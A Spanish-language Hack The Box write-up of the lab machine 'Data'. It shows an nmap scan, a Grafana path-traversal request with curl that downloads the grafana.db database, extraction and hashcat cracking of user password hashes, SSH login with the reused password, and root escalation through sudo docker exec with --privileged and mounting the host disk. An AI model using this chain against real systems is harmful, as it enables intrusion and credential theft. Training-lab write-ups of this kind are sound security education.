Entrada

Data

Data

Data Linux · Easy - Adventure mode

🔭 Reconocimiento:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(pmartinezr㉿kali)-[~/htb/data]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.234.47
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-11 12:52 +0100
Nmap scan report for 10.129.234.47
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
|   256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_  256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open  http    Grafana http
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.48 seconds

data_grafana

La web presenta la aplicación grafana

1
2
3
4
5
6
7
8
9
10
┌──(pmartinezr㉿kali)-[~/htb/data]
└─$ searchsploit grafana
------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC)                                                   | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                               | multiple/webapps/50581.py
Grafana <=6.2.4 - HTML Injection                                                          | typescript/webapps/51073.txt
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Buscando posible exploits me doy cuenta de que esta versión debe ser vulnerable a algun tipo de path transversal por lo que debemos continuar por esta vía.

grafana_fuzzin

Con Zap puedo fuzzear la web y encontramos archivos interesantes.

grafana_passwd

Podemos acceder a varios ficheros de esta forma me descargué este fichero https://github.com/Vulnmachines/grafana-unauth-file-read el cual fui modificando para tener resultados.

1
2
3
4
5
6
7
8
9
[database]
# You can configure the database connection by specifying type, host, name, user and password
# as separate properties or as on string using the url properties.
# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = sqlite3
;host = 127.0.0.1:3306
;name = grafana
;user = root
;path = grafana.db

Encuentro el archivo /etc/grafana/grafana.ini que nos da información de como se llama el archivo de base de datos y que está usando sqlite3

1
2
3
4
5
┌──(pmartinezr㉿kali)-[~/htb/data]
└─$ curl  --path-as-is http://10.129.234.47:3000/public/plugins/alertmanager/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
% Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
Dload  Upload  Total   Spent   Left   Speed
100 584.0k 100 584.0k   0      0  1.82M      0                              0

Con este comando curl debemos usar el flag --path-as-is no procesa secuencias de /../ o /./ en la ruta URL dada. Normalmente, curl las combina o fusiona según los estándares, pero con esta opción activada, le indica que no lo haga.

1
2
3
sqlite> select * from user ;
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0

Ahora ya tenemos el archivo de base de datos y podemos consultar la información que hay en el.

Tras alguna averiguaciones encuentro una utilidad que me puede ayudar a descifrado de estos hashes. https://github.com/iamaldi/grafana2hashcat

1
2
3
sqlite> select password, salt from user;
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl

Siguiendo la documentación de grafana2hashcat seleccionamos password,salt y lo metemos en un archivo.

1
2
3
4
5
6
7
8
9
10
┌──(pmartinezr㉿kali)-[~/htb/data/grafana2hashcat]
└─$ python grafana2hashcat.py hash -o output.txt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  hash
[+] Done! Read 1 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[+] Writing output to 'output.txt' file.
[+] Now, you can run Hashcat with the following command, for example:
hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt

Ejecutamos la herramienta y obtenemos un archivo de salida .

1
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Este sería el contenido del archivo el cual llamé output.txt

1
2
3
┌──(pmartinezr㉿kali)-[~/htb/data/grafana2hashcat]
└─$ hashcat hashcat -m 10900 output.txt /usr/share/wordlists/rockyou.txt
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

Ahora sí podemos descifrarlo con hashcat. beautiful1

1
2
3
4
5
6
7
boris@data:~$ cat user.txt
8f95757d6ac887eb************
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *

El usuario boris reutliza la password para el servicio de SSH además descubrimos un posible vector con sudo

👽 Acciones:

1
2
3
4
5
6
7
8
boris@data:~$ ps aux | grep docker
root      1050  0.0  3.8 1422756 79048 ?       Ssl  11:50   0:04 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/1125/config/daemon.json
root      1253  0.0  2.1 1351056 44320 ?       Ssl  11:50   0:07 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root      1543  0.0  0.1 1226188 3312 ?        Sl   11:50   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1552  0.0  0.1 1153864 3264 ?        Sl   11:50   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1567  0.0  0.4 712864  8440 ?        Sl   11:50   0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
472       1592  0.1  3.0 776448 62904 ?        Ssl  11:50   0:09 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
boris    23642  0.0  0.0  14860  1148 pts/0    S+   14:07   0:00 grep --color=auto docker

Busco algún contenedor Docker corriendo.

1
2
3
4
5
6
7
8
9
10
11
boris@data:~$ sudo docker exec -it --privileged --user root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 bash
bash-5.1# whoami
root
bash-5.1# mount /dev/sda1 /mnt/
bash-5.1# ls /mnt/
bin             home            lib64           opt             sbin            tmp             vmlinuz.old
boot            initrd.img      lost+found      proc            snap            usr
dev             initrd.img.old  media           root            srv             var
etc             lib             mnt             run             sys             vmlinuz
bash-5.1# cat /mnt/root/root.txt
fddb7470d5f84345************

La explotación consiste en montar la unidad sda1 en el propio contenedor eso sí con --user root y el flag --privileged

achivement

Esta entrada está licenciada bajo CC BY 4.0 por el autor.